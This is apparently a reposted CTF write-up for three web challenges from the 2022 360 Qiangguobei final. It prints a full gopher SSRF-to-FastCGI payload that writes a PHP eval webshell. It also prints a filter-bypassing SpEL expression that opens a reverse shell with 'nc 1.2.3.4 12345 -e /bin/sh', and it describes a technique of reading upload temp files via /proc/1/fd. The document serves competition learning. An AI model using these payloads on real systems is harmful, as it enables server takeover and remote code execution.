首页 > 其他分享 >2022 360强国杯决赛Web-writeup

2022 360强国杯决赛Web-writeup

时间:2023-06-12 19:13:34浏览次数:47  
标签:25250B% Web index writeup 252501% 252500% spel 文件 2022

Web

ezxunrui

分析

1、下载附件开始审计 迅睿路由规则不过多介绍了,需要选手自行分析代码逻辑,这里只公布漏洞点。 控制器在如下位置。

image-20230612183438186

在API控制器中。 存在qrcode 操作用来生成二维码,会获取略缩图参数,如图。

image-20230612183503637

跟进一下

image-20230612183524574

发现存在curl的调用, 存在SSRF漏洞。

2、SSRF FastCGI RCE

题目环境是通过 FastCGI搭建的,并暴露9000端口,SSRF FastCGI 老生常谈了。

使用exp.py 生成gopher payload。

image-20230612183703225

payload 核心 是将一句话木马写入 uploadfile文件下。

发送payload

http://ip:port/index.php?
s=api&c=api&m=qrcode&text=123&thumb=gopher://127.0.0.1:9000/_%252501%252501H%252
5B7%252500%252508%252500%252500%252500%252501%252500%252500%252500%252500%252500
%252500%252501%252504H%2525B7%252501%2525DB%252500%252500%252511%25250BGATEWAY_I
NTERFACEFastCGI/1.0%25250E%252504REQUEST_METHODPOST%25250F%252517SCRIPT_FILENAME
/var/www/html/index.php%25250B%252517SCRIPT_NAME/var/www/html/index.php%25250C%2
52500QUERY_STRING%25250B%252517REQUEST_URI/var/www/html/index.php%25250D%252501D
OCUMENT_ROOT/%25250F%25250ESERVER_SOFTWAREphp/fcgiclient%25250B%252509REMOTE_ADD
R127.0.0.1%25250B%252504REMOTE_PORT9985%25250B%252509SERVER_ADDR127.0.0.1%25250B
%252502SERVER_PORT80%25250B%252509SERVER_NAMElocalhost%25250F%252508SERVER_PROTO
COLHTTP/1.1%25250C%252510CONTENT_TYPEapplication/text%25250E%252502CONTENT_LENGT
H93%252509%25251FPHP_VALUEauto_prepend_file%252520%25253D%252520php%25253A//inpu
t%25250F%252516PHP_ADMIN_VALUEallow_url_include%252520%25253D%252520On%252501%25
2504H%2525B7%252500%252500%252500%252500%252501%252505H%2525B7%252500%25255D%252
500%252500%25253C%25253Fphp%252520file_put_contents%252528%252522/var/www/html/u
ploadfile/index.php%252522%25252C%252522%25253C%25253Fphp%252520eval%252528%2525
5C%252524_POST%25255B1%25255D%252529%25253B%25253F%25253E%252522%252529%25253B%2
5253F%25253E%252520%252501%252505H%2525B7%252500%252500%252500%252500

接着访问/uploadfile/index.php获取flag。

image-20230612183957655

pop1

  1. 使用GET方式传入 name、age ,并拦截数据包。

image-20230612184158627

  1. 构造反序列化

image-20230612184213254

  1. 在传入pop参数,获取 flag 如下:

image-20230612184226311

芝士雪豹

首页:

image-20230612184251434

f12,根据图片 可以找到一个接口

image-20230612184303911

这图片接口存在任意文件读取

image-20230612184315355

过滤了flag和file协议

image-20230612184323981

可以使用netdoc协议列目录 找到jar包下载下来 得到源码

image-20230612184336253

image-20230612184352647

分析源码:

image-20230612184402487

主要是FileController 在/parse路由存在一个SpEL表达式,但是是从文件中读取表达式来执行,并且有 过滤

image-20230612184616274

首先路由是/parse但是url中又不允许出现parse,这个可以直接url编码访问该路由: /%70arse?path=

image-20230612184628096

然后SpEL表达式 绕过过滤RCE 反弹shell:

''.class.forName('jav'+'a.lang.R'+'untime').getDeclaredMethods()
[15].invoke(''.class.forName('jav'+'a.lan'+'g.Ru'+'ntime').getDeclaredMethods()
[7].invoke(null),'nc 1.2.3.4 12345 -e /bin/sh')

这里最大的问题是,spel表达式是从文件中取到的,但是我们并没有写文件的方法,如何把上述spel payload写进去?

这里利用上传原理,springboot底层依然使用tomcat,tomcat处理上传表单会生成临时文件(和PHP 一样),这里我直接进入docker给大家看一下:

image-20230612184707874

很明显 /tmp/tomcat.8080.7699636244416751710/work/Tomcat/localhost/ROOT/upload_d1496d8a_0 901_4b7c_b2e9_426dd461468f_00000046.tmp 这样的路径是我们拿不到的

其实我们可以通过proc拿到文件内容,而且在docker里因为jar包是直接运行的,一般都是1号进行,所 以我们直接读 /proc/1/fd/xx ,对xx做爆破即可 首先准备一个大文件上传,开始burp不停重放(这里不用担心是不是会干扰spel格式,因为代码写了只 会读取文件第一行然后做spel表达式执行)

image-20230612184743535然后去爆破一圈fd/xx

image-20230612184806954就能反弹shell了

标签:25250B%,Web,index,writeup,252501%,252500%,spel,文件,2022
From: https://www.cnblogs.com/via-liabs/p/17475867.html

相关文章

  • Sekiro RPC框架部署使用--web(油猴脚本)
    点击进入JsRpc项目地址一,下载地址下载地址(https://oss.iinti.cn/sekiro/sekiro-demo)二,运行(依赖java环境,自行安装)#win运行bin/sekiro.bat#linux运行bin/sekiro.sh三,编写油猴脚本(1)编写好油猴脚本框架//==UserScript==//@nameSekiro//......
  • frp内网穿透web服务配置
    frp是使用较多的免费开源的内网穿透软件,源代码托管在GitHub。1.下载安装安装步骤可参考官方文档https://gofrp.org/docs/setup/点击项目的release地址进入下载页面:https://github.com/fatedier/frp/releases,首先要根据自己需要安装的机器系统架构下载相应的二进制安装包。frp的......
  • 关于VS2022使用EF生成实体模型报错的问题:运行转换:System.NullReferenceException:对象
    起因:之前版本vs2022生成EF模型一直没有问题,在更新了最新的vs2022之后,版本号17.6+,出现此问题:运行转换:System.NullReferenceException:对象引用未设置为对象的示例。在Microsoft.VisualStudio.TextTemplatingD21DB4521EFD493FAE41A9CE9DA80C875F3084552987498BD518713BDE91D14A......
  • 【WebLogic使用】1.WebLogic的下载与安装
    一、WebLogic的介绍   WebLogic是美国bea公司出品的一个applicationserver,确切的说是一个基于Javaee架构的中间件,纯java开发的,最新版本WebLogicServer12cR2(12.2.1.3)(截至发文前)是迄今为止发布的最卓越的BEA应用服务器。BEAWebLogic是用于开发、集成、部署和管理大型分......
  • c# 编写 WebAssembly
    创建一个.net7.0类库工程,引用下面的nuget包:<PackageReferenceInclude="Microsoft.AspNetCore.Components.WebAssembly"Version="7.0.5"/><PackageReferenceInclude="Microsoft.AspNetCore.Components.WebAssembly.DevServer"Versi......
  • 深入理解WebRTC
    https://segmentfault.com/a/1190000011403597https://www.cnblogs.com/oucxlw/p/9298745.html WebReal-TimeCommunication(Web实时通信,WebRTC)由一组标准、协议和JavaScriptAPI组成,用于实现浏览器之间(端到端)的音频、视频及数据共享。WebRTC使得实时通信变成一种标准功能,任......
  • Web安全测试—查看网页的HTML源代码
      浏览器中浏览网页,查看网页的源代码,是测试中很简单的,很基本的方法,也是非常值得做的。查看源代码最基本的两项作用:可以帮助你发现最明显的安全问题,可以帮助为将来的测试建立一个比较的基准。也可以帮忙你对比攻击失败前后的源代码,调整你的输入,了解到通过的和没有通过,可以再次......
  • 第一届山城杯初赛Web-WriteUp
    Webwriteup:Web1(Lesen):考点:文件包含反序列化伪协议界面:源码:<?phperror_reporting(0);highlight_file(__FILE__);$from=$_GET['from'];$to=$_GET['to'];if(!isset($from)or!isset($to)orstripos($from,"flag")!=FALSE){......
  • 2023年第三届陕西省大学生网络安全技能大赛本科组web官方-writup
    题目列表:ezpop题目描述题目名称ezpop题目难度★题目分值1000考察知识点一点前端小知识,构造POP链,fastdestruct和Unicode解题步骤第一步题目信息:访问题目页面查看信息。第二步解题过程:访问题目发现要求ClickMe,但是点不动,尝试F12,右键和Ctrl+U发现均会关闭......
  • 【课设】JavaWeb
    课程设计 论文题目 校园o2o小卖铺(商家端) 云平台网址(管理端):150.158.50.130摘   要在高校中,学生对于小卖铺有着强烈的需求,学生希望在网络上便可以实现商品的购买,商家希望通过网络推广自己的商店。特别是在校园存在疫情的情况下,学生更加愿意通过网络对小卖铺下单,这......